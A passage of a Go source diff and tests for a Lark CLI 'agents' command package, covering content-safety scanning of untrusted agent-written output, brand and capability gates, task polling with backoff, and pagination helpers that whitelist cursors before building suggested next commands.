+	if jq := jqExpr(cmd); jq != "" {
+		if scan.Alert != nil {
+			output.WriteAlertWarning(errOut, scan.Alert)
+		}
+		return output.JqFilter(out, env, jq)
+	}
+	output.PrintJson(out, env)
+	return nil
+}
+
+// scanAndEmitData is the shared scan-then-emit path for the read leaves whose
+// payload now carries untrusted agent-authored text — task list
+// (TaskSummary.Summary), context list, and context get
+// (ContextDetail.ActiveTask.Summary). These used to PrintJson directly and so
+// BYPASSED content-safety; like emitTask they now run output.ScanForSafety on
+// the payload BEFORE emission on every path: a block returns the typed block
+// error, a warn attaches the alert to the JSON envelope (and prints a stderr
+// warning on the pretty / jq paths). data is the Envelope.Data payload (and what
+// is scanned); meta is an optional *output.Meta (list count, nil for a single
+// detail); pretty renders the --format pretty human view and is skipped when a
+// --jq expression forces structured JSON.
+func scanAndEmitData(f *cmdutil.Factory, cmd *cobra.Command, format string, data any, meta *output.Meta, pretty func(io.Writer)) error {
+	out := f.IOStreams.Out
+	errOut := f.IOStreams.ErrOut
+
+	scan := output.ScanForSafety(cmd.CommandPath(), data, errOut)
+	if scan.Blocked {
+		return scan.BlockErr
+	}
+
+	if format == "pretty" && jqExpr(cmd) == "" {
+		if scan.Alert != nil {
+			output.WriteAlertWarning(errOut, scan.Alert)
+		}
+		pretty(out)
+		return nil
+	}
+
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(f.ResolvedIdentity),
+		Data:     data,
+		Meta:     meta,
+		Notice:   output.GetNotice(),
+	}
+	if scan.Alert != nil {
+		env.ContentSafetyAlert = scan.Alert
+	}
+	if jq := jqExpr(cmd); jq != "" {
+		if scan.Alert != nil {
+			output.WriteAlertWarning(errOut, scan.Alert)
+		}
+		return output.JqFilter(out, env, jq)
+	}
+	output.PrintJson(out, env)
+	return nil
+}
+
+// jqExpr reads the --jq flag value if the leaf command registered one; absent
+// otherwise.
+func jqExpr(cmd *cobra.Command) string {
+	if cmd == nil { // options structs built directly in tests may carry no Cmd
+		return ""
+	}
+	if f := cmd.Flags().Lookup("jq"); f != nil {
+		return f.Value.String()
+	}
+	return ""
+}
+
+// resolvedBrand returns the brand the agent commands filter/gate against: the
+// logged-in account's Config().Brand when Config resolves and is non-empty,
+// else BrandFeishu (the offline/unconfigured default, consistent with
+// core.ParseBrand mapping unknown→feishu). It is nil-safe (a nil Factory or a
+// nil Config hook yields feishu), so the offline gates hold before config init.
+func resolvedBrand(f *cmdutil.Factory) core.LarkBrand {
+	if f == nil || f.Config == nil {
+		return core.BrandFeishu
+	}
+	cfg, err := f.Config()
+	if err != nil || cfg == nil || cfg.Brand == "" {
+		return core.BrandFeishu
+	}
+	return cfg.Brand
+}
+
+// unavailableForBrandError returns the unavailable_for_brand validation error
+// (exit 2) — the brand sibling of capabilityError. `what` is the human-facing
+// capability name (e.g. "task cancel"); an empty `what` is the whole-agent case
+// ("agent '<ref>' is not available under <brand>"). The hint points at the card
+// for the current brand (cardHint interpolates ref only when it is whitelisted).
+func unavailableForBrandError(ref, what string, brand core.LarkBrand) error {
+	var msg string
+	if what == "" {
+		msg = fmt.Sprintf("agent '%s' 在 %s 品牌下不可用", ref, brand)
+	} else {
+		msg = fmt.Sprintf("agent '%s' 的 '%s' 在 %s 品牌下不可用", ref, what, brand)
+	}
+	return errs.NewValidationError(errs.SubtypeUnavailableForBrand, "%s", msg).
+		WithHint("%s", cardHint(ref, "当前品牌支持的能力"))
+}
+
+// brandGate is the whole-agent brand visibility gate: a spec whose declared
+// Brands exclude the resolved brand returns unavailable_for_brand (exit 2,
+// offline) before any network call. Placed right after the capability/offline
+// gates in every verb path.
+func brandGate(f *cmdutil.Factory, spec *iagents.AgentSpec, ref string) error {
+	if brand := resolvedBrand(f); !iagents.SpecAvailableForBrand(spec, brand) {
+		return unavailableForBrandError(ref, "", brand)
+	}
+	return nil
+}
+
+// opBrandGate is the per-capability brand gate: a WIRED op whose declared Brands
+// exclude the resolved brand returns unavailable_for_brand (exit 2, offline).
+// `what` is the human capability name. It assumes the whole-agent gate (brandGate)
+// already passed. Core ops (Send/GetTask) normally declare no Brands, so this is
+// a no-op for them unless a provider scopes them explicitly.
+func opBrandGate(f *cmdutil.Factory, brands []core.LarkBrand, ref, what string) error {
+	if brand := resolvedBrand(f); !iagents.OpAvailableForBrand(brands, brand) {
+		return unavailableForBrandError(ref, what, brand)
+	}
+	return nil
+}
+
+// capabilityError returns the unsupported_capability validation error (exit 2)
+// used for capability gating: capHuman is the human-facing action (e.g.
+// "task cancel"), capKey the Card capability key (e.g. task_cancel). The hint
+// interpolates ref only when it passes the whitelist (cardHint).
+func capabilityError(ref, capHuman, capKey string) error {
+	return errs.NewValidationError(
+		errs.SubtypeUnsupportedCapability,
+		"agent '%s' 不支持 '%s'（capability %s=false）", ref, capHuman, capKey,
+	).WithHint("%s", cardHint(ref, "支持的能力"))
+}
+
+// normalizeTask canonicalizes a provider task the moment it enters the command
+// layer: IsTerminal is re-derived from State (the single source of truth, so a
+// provider that mis-fills the flag can never skew watch exit codes or an AI
+// caller's stop-polling decision), and the input_required question group runs
+// the central §3.2 normalization (size caps, empty options → absent, bare
+// prompt → one ordinary free-text question, non-conforming keys → whole-group
+// degrade). The returned notice — a provider defect worth seeing — must reach
+// the caller's output surface (emitTask routes it into the JSON envelope
+// _notice and onto stderr for pretty) instead of being silently smoothed over.
+// nil-safe.
+func normalizeTask(t *iagents.AgentTask) (notice string) {
+	if t == nil {
+		return ""
+	}
+	t.IsTerminal = t.State.IsTerminal()
+	return iagents.NormalizeInputRequired(t)
+}
+
+// normalizeTaskSummaries derives IsTerminal from State for every summary (same
+// single-source rule as normalizeTask), returning the slice for chaining.
+func normalizeTaskSummaries(ts []iagents.TaskSummary) []iagents.TaskSummary {
+	for i := range ts {
+		ts[i].IsTerminal = ts[i].State.IsTerminal()
+	}
+	return ts
+}
+
+// pollToStop polls getTask with exponential backoff (1s → 5s cap) until the
+// task hits a stop condition (terminal, input_required, or auth_required)
+// or ctx is done. A timeout is not a failure: it returns the most recent
+// task with a nil error, letting the caller print the current state (exit 0). A
+// provider GetTask error is surfaced. getTask is a bound closure over the
+// resolved spec + runtime (spec.GetTask(ctx, rt, id)), so pollToStop stays
+// provider-neutral and testable.
+func pollToStop(ctx context.Context, getTask func(context.Context, string) (*iagents.AgentTask, error), taskID string) (*iagents.AgentTask, error) {
+	const (
+		initialDelay = time.Second
+		maxDelay     = 5 * time.Second
+	)
+	var last *iagents.AgentTask
+	delay := initialDelay
+	for {
+		task, err := getTask(ctx, taskID)
+		if err != nil {
+			return last, err
+		}
+		last = task
+		if task.State.ShouldStopPolling() {
+			return task, nil
+		}
+		if ctx.Err() != nil {
+			return last, nil //nolint:nilerr // a poll timeout is an observation-window close, not a task failure — return the last task with exit 0
+		}
+		if !sleep(ctx, delay) {
+			// ctx canceled during backoff → observation window closed, not a
+			// task failure.
+			return last, nil
+		}
+		if delay < maxDelay {
+			if delay *= 2; delay > maxDelay {
+				delay = maxDelay
+			}
+		}
+	}
+}
+
+// semanticExitError maps a wait/watch terminal task to the semantic exit code:
+// a non-successful terminal state (failed/rejected/canceled) yields a
+// silent exit-1 signal; any other state (including a successful terminal or a
+// non-terminal stop like input_required) yields nil. A nil task yields nil.
+func semanticExitError(task *iagents.AgentTask) error {
+	if task == nil || !task.IsTerminal {
+		return nil
+	}
+	switch task.State {
+	case iagents.StateFailed, iagents.StateRejected, iagents.StateCanceled:
+		return output.ErrBare(1)
+	default:
+		return nil
+	}
+}
+
+// listMeta builds the list-class meta: count for a non-empty list, nil (no
+// meta at all) for an empty one. Count is omitempty at the shared envelope
+// level, so an empty list would otherwise degrade to the ambiguous "meta": {}
+// third shape; absent-with-documented-rule beats an empty object. (Emitting an
+// explicit "count": 0 would need the shared Meta.Count to become a pointer —
+// a repo-wide change deliberately out of this package's blast radius.)
+func listMeta(n int) *output.Meta {
+	if n == 0 {
+		return nil
+	}
+	return &output.Meta{Count: n}
+}
+
+// Pagination flag defaults / bounds, shared by the three paginated list leaves
+// (task list, context list, list <scheme>).
+const (
+	defaultPageSize = 20
+	minPageSize     = 1
+	maxPageSize     = 100
+)
+
+// addPageFlags registers the shared --page-size / --page-token flags on a
+// paginated list leaf. Size defaults to defaultPageSize (a bare list returns the
+// first page); an empty token asks for the first page.
+func addPageFlags(cmd *cobra.Command, pageSize *int, pageToken *string) {
+	cmd.Flags().IntVar(pageSize, "page-size", defaultPageSize, "每页条数（1-100）")
+	cmd.Flags().StringVar(pageToken, "page-token", "", "上一页返回的 page_token；留空取第一页")
+}
+
+// validatePageSize enforces the [minPageSize,maxPageSize] range as a client-side
+// invalid_argument validation error (exit 2) before any provider is built, so a
+// nonsense size never reaches the network and holds under a nil Factory.
+func validatePageSize(n int) error {
+	if n < minPageSize || n > maxPageSize {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"--page-size 须在 %d-%d 之间，收到 %d", minPageSize, maxPageSize, n).
+			WithParam("--page-size").
+			WithHint("改用 %d-%d 之间的每页条数重发", minPageSize, maxPageSize)
+	}
+	return nil
+}
+
+// listMetaPage builds the page-aware list meta: count (when >0), has_more,
+// page_token (the next-page cursor), and the next-page action(s). It preserves
+// listMeta's "no empty {}" rule — nil is returned ONLY when the page is empty AND
+// there is no next page AND there is no next action, so an otherwise-absent meta
+// never degrades to the ambiguous "meta": {} shape.
+func listMetaPage(count int, info iagents.PageInfo, next []output.NextAction) *output.Meta {
+	if count == 0 && !info.HasMore && len(next) == 0 {
+		return nil
+	}
+	return &output.Meta{
+		Count:     count, // omitempty drops 0
+		HasMore:   info.HasMore,
+		PageToken: info.NextToken,
+		Next:      next,
+	}
+}
+
+// carryAsIntoNext mirrors emitTask's identity-carry rule for the paginated list
+// leaves (which build their own next-actions instead of going through emitTask):
+// only when the caller EXPLICITLY passed --as does the suggested next-page
+// command carry the resolved identity, so an explicit non-default identity is not
+// silently dropped on verbatim replay while an implicit (default/auto) identity
+// stays unpinned. No-op on a nil cmd or an unchanged --as.
+func carryAsIntoNext(cmd *cobra.Command, f *cmdutil.Factory, next []output.NextAction) {
+	if cmd == nil || !cmd.Flags().Changed("as") {
+		return
+	}
+	id := string(f.ResolvedIdentity)
+	if id == "" {
+		return
+	}
+	for i := range next {
+		if strings.HasPrefix(next[i].Command, "lark-cli agents ") {
+			next[i].Command += " --as " + id
+		}
+	}
+}
+
+// nextPageAction builds the single "下一页" next-action for a paginated list when
+// a next page exists. base is the fully-formed command up to (but not including)
+// the pagination flags, e.g. "lark-cli agents task list example:echo"; the caller
+// is responsible for whitelisting the ref / scheme / context-id interpolated into
+// base. The cursor is server-controlled and interpolated verbatim into a command
+// the AI runs, so it must pass the safeNextID whitelist first — a failing cursor
+// drops the command (the cursor still rides meta.page_token as data, so the caller
+// can page manually). Returns nil when there is no next page.
+func nextPageAction(base string, size int, info iagents.PageInfo) []output.NextAction {
+	if !info.HasMore || info.NextToken == "" || !safeNextID(info.NextToken) {
+		return nil
+	}
+	return []output.NextAction{{
+		Label:   "下一页",
+		Command: fmt.Sprintf("%s --page-size %d --page-token %s", base, size, info.NextToken),
+	}}
+}

cmd/agents/common_test.go

@@ -0,0 +1,820 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"errors"
+	"io"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	extcs "github.com/larksuite/cli/extension/contentsafety"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// TestCapabilityError_UnsafeRefDegradesHint pins the same whitelist on the
+// capability-gate hint: an unsafe ref degrades the hint to plain guidance.
+func TestCapabilityError_UnsafeRefDegradesHint(t *testing.T) {
+	err := capabilityError("example:agt x", "task cancel", iagents.CapTaskCancel)
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Hint == "" {
+		t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
+	}
+	if strings.Contains(p.Hint, "example:agt x") {
+		t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
+	}
+}
+
+// TestCapabilityError pins the unsupported_capability contract.
+func TestCapabilityError(t *testing.T) {
+	err := capabilityError("example:agt_xxx", "task cancel", iagents.CapTaskCancel)
+	if err == nil {
+		t.Fatal("should return an error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
+		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
+	}
+	if output.ExitCodeOf(err) != output.ExitValidation {
+		t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
+	}
+}
+
+// TestSemanticExitError maps terminal task states to the wait/watch exit code.
+func TestSemanticExitError(t *testing.T) {
+	cases := []struct {
+		state    iagents.TaskState
+		wantExit int
+	}{
+		{iagents.StateCompleted, output.ExitOK},
+		{iagents.StateFailed, 1},
+		{iagents.StateRejected, 1},
+		{iagents.StateCanceled, 1},
+		{iagents.StateInputRequired, output.ExitOK}, // non-terminal, not treated as failure
+		{iagents.StateWorking, output.ExitOK},
+	}
+	for _, c := range cases {
+		task := &iagents.AgentTask{State: c.state, IsTerminal: c.state.IsTerminal()}
+		err := semanticExitError(task)
+		if got := output.ExitCodeOf(err); got != c.wantExit {
+			t.Errorf("state=%s exit expected %d got %d (err=%v)", c.state, c.wantExit, got, err)
+		}
+	}
+	// nil task should not panic and is treated as success
+	if err := semanticExitError(nil); err != nil {
+		t.Errorf("nil task should return nil, got %v", err)
+	}
+}
+
+// fakePollProvider drives pollToStop through a scripted state sequence. getTask
+// is the closure pollToStop takes (spec.GetTask bound to a runtime in
+// production); calls/err stay observable on the struct after the poll.
+type fakePollProvider struct {
+	states []iagents.TaskState
+	calls  int
+	err    error
+}
+
+func (f *fakePollProvider) getTask(ctx context.Context, taskID string) (*iagents.AgentTask, error) {
+	if f.err != nil {
+		return nil, f.err
+	}
+	i := f.calls
+	if i >= len(f.states) {
+		i = len(f.states) - 1
+	}
+	f.calls++
+	s := f.states[i]
+	return &iagents.AgentTask{TaskID: taskID, State: s, IsTerminal: s.IsTerminal()}, nil
+}
+
+// TestPollToStop_ReachesTerminal stops once a terminal state is observed.
+func TestPollToStop_ReachesTerminal(t *testing.T) {
+	restore := swapSleep()
+	defer restore()
+
+	p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking, iagents.StateWorking, iagents.StateCompleted}}
+	task, err := pollToStop(context.Background(), p.getTask, "chat_1")
+	if err != nil {
+		t.Fatalf("should not error: %v", err)
+	}
+	if task == nil || task.State != iagents.StateCompleted {
+		t.Fatalf("should stop at completed, got %+v", task)
+	}
+	if p.calls < 3 {
+		t.Fatalf("should poll at least 3 times, got %d", p.calls)
+	}
+}
+
+// TestPollToStop_StopsOnInputRequired treats input_required as a stop point.
+func TestPollToStop_StopsOnInputRequired(t *testing.T) {
+	restore := swapSleep()
+	defer restore()
+
+	p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking, iagents.StateInputRequired}}
+	task, err := pollToStop(context.Background(), p.getTask, "chat_1")
+	if err != nil {
+		t.Fatalf("should not error: %v", err)
+	}
+	if task.State != iagents.StateInputRequired {
+		t.Fatalf("should stop at input_required, got %s", task.State)
+	}
+}
+
+// TestPollToStop_ContextTimeoutNotFailure confirms that timeout returns the
+// current task with a nil error (exit 0), not a failure.
+func TestPollToStop_ContextTimeoutNotFailure(t *testing.T) {
+	restore := swapSleep()
+	defer restore()
+
+	ctx, cancel := context.WithCancel(context.Background())
+	cancel() // expire immediately
+	p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking}}
+	task, err := pollToStop(ctx, p.getTask, "chat_1")
+	if err != nil {
+		t.Fatalf("timeout should not be treated as failure: %v", err)
+	}
+	if task == nil || task.State != iagents.StateWorking {
+		t.Fatalf("timeout should return the current task, got %+v", task)
+	}
+}
+
+// TestPollToStop_GetTaskError surfaces a provider error.
+func TestPollToStop_GetTaskError(t *testing.T) {
+	restore := swapSleep()
+	defer restore()
+
+	p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking}, err: errors.New("boom")}
+	if _, err := pollToStop(context.Background(), p.getTask, "chat_1"); err == nil {
+		t.Fatal("a GetTask error should propagate")
+	}
+}
+
+// swapSleep replaces the package sleep with a no-op for fast tests.
+func swapSleep() func() {
+	orig := sleep
+	sleep = func(context.Context, time.Duration) bool { return true }
+	return func() { sleep = orig }
+}
+
+// swapSleepCapture replaces the package sleep with a no-op that records every
+// backoff duration it was asked to wait, so tests can assert the exponential /
+// clamp schedule. It always returns true (full duration elapsed).
+func swapSleepCapture(delays *[]time.Duration) func() {
+	orig := sleep
+	sleep = func(_ context.Context, d time.Duration) bool {
+		*delays = append(*delays, d)
+		return true
+	}
+	return func() { sleep = orig }
+}
+
+// swapSleepFalseAt replaces the package sleep with a no-op that returns false
+// (as if ctx were canceled during backoff) on the falseCall-th invocation
+// (1-indexed) and true otherwise. Lets tests exercise the sleep-returns-false
+// branch in isolation without racing a real ctx timeout.
+func swapSleepFalseAt(falseCall int) func() {
+	orig := sleep
+	n := 0
+	sleep = func(context.Context, time.Duration) bool {
+		n++
+		return n != falseCall
+	}
+	return func() { sleep = orig }
+}
+
+// TestPollToStop_ClampsDelayToMax drives >=4 backoff rounds so the exponential
+// delay overshoots the 5s cap and the clamp branch (line 179) executes. The
+// captured schedule must never exceed maxDelay and must actually reach it.
+func TestPollToStop_ClampsDelayToMax(t *testing.T) {
+	var delays []time.Duration
+	restore := swapSleepCapture(&delays)
+	defer restore()
+
+	// 5 Working states then Completed: forces backoff 1s,2s,4s,5s(clamped),5s...
+	p := &fakePollProvider{states: []iagents.TaskState{
+		iagents.StateWorking, iagents.StateWorking, iagents.StateWorking,
+		iagents.StateWorking, iagents.StateWorking, iagents.StateCompleted,
+	}}
+	task, err := pollToStop(context.Background(), p.getTask, "chat_1")
+	if err != nil {
+		t.Fatalf("should not error: %v", err)
+	}
+	if task == nil || task.State != iagents.StateCompleted {
+		t.Fatalf("should stop at completed, got %+v", task)
+	}
+	want := []time.Duration{1 * time.Second, 2 * time.Second, 4 * time.Second, 5 * time.Second, 5 * time.Second}
+	if len(delays) != len(want) {
+		t.Fatalf("backoff count should be %d, got %d (%v)", len(want), len(delays), delays)
+	}
+	for i, d := range delays {
+		if d > 5*time.Second {
+			t.Errorf("backoff #%d=%v exceeds the 5s cap", i, d)
+		}
+		if d != want[i] {
+			t.Errorf("backoff #%d expected %v got %v", i, want[i], d)
+		}
+	}
+}
+
+// TestPollToStop_SleepCanceledDuringBackoff isolates the sleep-returns-false
+// branch (lines 173-177): ctx.Err() is still nil when the loop reaches the
+// sleep, but sleep reports the wait was cut short, so pollToStop returns the
+// most recent task with a nil error (not a failure).
+func TestPollToStop_SleepCanceledDuringBackoff(t *testing.T) {
+	restore := swapSleepFalseAt(1) // first backoff sleep is interrupted
+	defer restore()
+
+	p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking, iagents.StateCompleted}}
+	task, err := pollToStop(context.Background(), p.getTask, "chat_1")
+	if err != nil {
+		t.Fatalf("an interrupted sleep should not be treated as failure: %v", err)
+	}
+	if task == nil || task.State != iagents.StateWorking {
+		t.Fatalf("should return the working task observed before interruption, got %+v", task)
+	}
+	if p.calls != 1 {
+		t.Fatalf("should not poll again after sleep interruption, expected 1 GetTask call got %d", p.calls)
+	}
+}
+
+// TestJqExpr covers both jqExpr branches: a command with a registered --jq flag
+// returns its value; a command without the flag returns "".
+func TestJqExpr(t *testing.T) {
+	withFlag := &cobra.Command{Use: "get"}
+	withFlag.Flags().String("jq", "", "")
+	if err := withFlag.Flags().Set("jq", ".state"); err != nil {
+		t.Fatal(err)
+	}
+	if got := jqExpr(withFlag); got != ".state" {
+		t.Errorf("with a --jq flag it should return its value, got %q", got)
+	}
+
+	noFlag := &cobra.Command{Use: "list"}
+	if got := jqExpr(noFlag); got != "" {
+		t.Errorf("without a --jq flag it should return empty, got %q", got)
+	}
+}
+
+// newEmitCmd builds a `lark-cli agents <name>` command whose CommandPath() is
+// non-empty (required for content-safety scanning to engage) and optionally
+// registers a --jq flag with the given value.
+func newEmitCmd(name, jq string) *cobra.Command {
+	root := &cobra.Command{Use: "lark-cli"}
+	agentGroup := &cobra.Command{Use: "agents"}
+	leaf := &cobra.Command{Use: name}
+	root.AddCommand(agentGroup)
+	agentGroup.AddCommand(leaf)
+	if jq != "" {
+		leaf.Flags().String("jq", "", "")
+		_ = leaf.Flags().Set("jq", jq)
+	}
+	leaf.SetContext(context.Background())
+	return leaf
+}
+
+// emitFactory returns a Factory writing to fresh out/err buffers.
+func emitFactory() (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffer) {
+	out := &bytes.Buffer{}
+	errOut := &bytes.Buffer{}
+	f := &cmdutil.Factory{
+		IOStreams:        &cmdutil.IOStreams{Out: out, ErrOut: errOut},
+		ResolvedIdentity: core.AsBot,
+	}
+	return f, out, errOut
+}
+
+// csProvider is a content-safety provider stub returning a fixed alert.
+type csProvider struct{ alert *extcs.Alert }
+
+func (p *csProvider) Name() string { return "test" }
+func (p *csProvider) Scan(context.Context, extcs.ScanRequest) (*extcs.Alert, error) {
+	return p.alert, nil
+}
+
+// TestEmitTask_PlainSuccess emits a task with no jq, no alert: the full envelope
+// lands on stdout with ok=true and the identity.
+func TestEmitTask_PlainSuccess(t *testing.T) {
+	f, out, _ := emitFactory()
+	cmd := newEmitCmd("task", "")
+	task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
+
+	next := []output.NextAction{{Label: "poll", Command: "lark-cli agents task get example:x chat_1"}}
+	if err := emitTask(f, cmd, task, next, "json"); err != nil {
+		t.Fatalf("emit should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
+	}
+	if !env.OK || env.Identity != string(core.AsBot) {
+		t.Errorf("ok/identity mismatch: %+v", env)
+	}
+	if !strings.Contains(out.String(), `"next"`) || !strings.Contains(out.String(), "poll") {
+		t.Errorf("meta.next should appear in the output: %s", out.String())
+	}
+}
+
+// TestEmitTask_NoNextOmitsMeta pins the omitempty branch (common.go line 113):
+// when next is nil or an empty (non-nil) slice, emitTask must leave env.Meta nil
+// so "meta" is absent from the serialized envelope. Covers both len(next)==0
+// inputs the branch can receive.
+func TestEmitTask_NoNextOmitsMeta(t *testing.T) {
+	for _, tc := range []struct {
+		name string
+		next []output.NextAction
+	}{
+		{"nil next", nil},
+		{"empty non-nil next", []output.NextAction{}},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			f, out, _ := emitFactory()
+			cmd := newEmitCmd("task", "")
+			task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
+
+			if err := emitTask(f, cmd, task, tc.next, "json"); err != nil {
+				t.Fatalf("emit should not error: %v", err)
+			}
+			var env output.Envelope
+			if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+				t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
+			}
+			if env.Meta != nil {
+				t.Errorf("Meta should be nil when len(next)==0, got %+v", env.Meta)
+			}
+			if strings.Contains(out.String(), `"meta"`) {
+				t.Errorf("meta should be omitted by omitempty when next is empty: %s", out.String())
+			}
+		})
+	}
+}
+
+// TestEmitTask_JqFilter routes stdout through a valid jq expression.
+func TestEmitTask_JqFilter(t *testing.T) {
+	f, out, _ := emitFactory()
+	cmd := newEmitCmd("task", ".data.state")
+	task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
+
+	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
+		t.Fatalf("jq filtering should not error: %v", err)
+	}
+	if got := strings.TrimSpace(out.String()); got != "working" {
+		t.Errorf("jq .data.state should output working, got %q", got)
+	}
+}
+
+// TestEmitTask_JqFilterError surfaces a malformed jq expression as an error.
+func TestEmitTask_JqFilterError(t *testing.T) {
+	f, _, _ := emitFactory()
+	cmd := newEmitCmd("task", "{") // unbalanced → gojq.Parse fails
+	task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
+
+	if err := emitTask(f, cmd, task, nil, "json"); err == nil {
+		t.Fatal("a malformed jq expression should error")
+	}
+}
+
+// TestEmitTask_ContentSafetyAlertWarn attaches a warn-mode alert to the envelope
+// without blocking output.
+func TestEmitTask_ContentSafetyAlertWarn(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
+	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
+	defer extcs.Register(nil)
+
+	f, out, _ := emitFactory()
+	cmd := newEmitCmd("task", "")
+	task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
+
+	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
+		t.Fatalf("warn mode should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("unmarshal: %v (%s)", err, out.String())
+	}
+	if env.ContentSafetyAlert == nil {
+		t.Error("warn mode should attach the alert to the envelope")
+	}
+}
+
+// TestEmitTask_ContentSafetyAlertWarnWithJq exercises the WriteAlertWarning +
+// JqFilter branch: an alert plus a --jq expression writes a stderr warning and
+// still filters stdout.
+func TestEmitTask_ContentSafetyAlertWarnWithJq(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
+	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
+	defer extcs.Register(nil)
+
+	f, out, errOut := emitFactory()
+	cmd := newEmitCmd("task", ".data.state")
+	task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
+
+	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
+		t.Fatalf("warn+jq should not error: %v", err)
+	}
+	if got := strings.TrimSpace(out.String()); got != "working" {
+		t.Errorf("jq output should be working, got %q", got)
+	}
+	if !strings.Contains(errOut.String(), "content safety alert") {
+		t.Errorf("stderr should contain a content-safety warning, got %q", errOut.String())
+	}
+}
+
+// TestEmitTask_ContentSafetyBlocked returns the block error and writes nothing
+// to stdout.
+func TestEmitTask_ContentSafetyBlocked(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
+	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
+	defer extcs.Register(nil)
+
+	f, out, _ := emitFactory()
+	cmd := newEmitCmd("task", "")
+	task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
+
+	err := emitTask(f, cmd, task, nil, "json")
+	if err == nil {
+		t.Fatal("block mode should return BlockErr")
+	}
+	if !errs.IsContentSafety(err) {
+		t.Errorf("should be a content-safety error, got %T", err)
+	}
+	if out.Len() > 0 {
+		t.Errorf("block mode should not write to stdout, got %q", out.String())
+	}
+}
+
+// noPretty is a no-op pretty renderer for the scanAndEmitData helper tests,
+// which exercise the json path only.
+func noPretty(io.Writer) {}
+
+// TestScanAndEmitData_PlainSuccess pins the shared list/context emit helper's
+// happy path: no alert + json ⇒ the full envelope (ok + identity + data + meta)
+// lands on stdout.
+func TestScanAndEmitData_PlainSuccess(t *testing.T) {
+	f, out, _ := emitFactory()
+	cmd := newEmitCmd("task", "")
+	data := map[string]interface{}{"tasks": []iagents.TaskSummary{{TaskID: "chat_1"}}}
+
+	if err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty); err != nil {
+		t.Fatalf("emit should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
+	}
+	if !env.OK || env.Identity != string(core.AsBot) {
+		t.Errorf("ok/identity mismatch: %+v", env)
+	}
+	if env.Meta == nil || env.Meta.Count != 1 {
+		t.Errorf("meta.count should be 1, got %+v", env.Meta)
+	}
+}
+
+// TestScanAndEmitData_ContentSafetyBlocked pins that the shared list/context
+// emit helper now runs content-safety scanning (these payloads carry untrusted
+// agent text): in block mode it returns the typed block error and writes
+// nothing.
+func TestScanAndEmitData_ContentSafetyBlocked(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
+	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
+	defer extcs.Register(nil)
+
+	f, out, _ := emitFactory()
+	cmd := newEmitCmd("task", "")
+	data := map[string]interface{}{"tasks": []iagents.TaskSummary{{TaskID: "chat_1", Summary: "leaked secret"}}}
+
+	err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty)
+	if err == nil {
+		t.Fatal("block mode should return BlockErr")
+	}
+	if !errs.IsContentSafety(err) {
+		t.Errorf("should be a content-safety error, got %T", err)
+	}
+	if out.Len() > 0 {
+		t.Errorf("block mode should not write to stdout, got %q", out.String())
+	}
+}
+
+// TestScanAndEmitData_ContentSafetyAlertWarn pins that a warn-mode alert is
+// attached to the envelope without blocking output.
+func TestScanAndEmitData_ContentSafetyAlertWarn(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
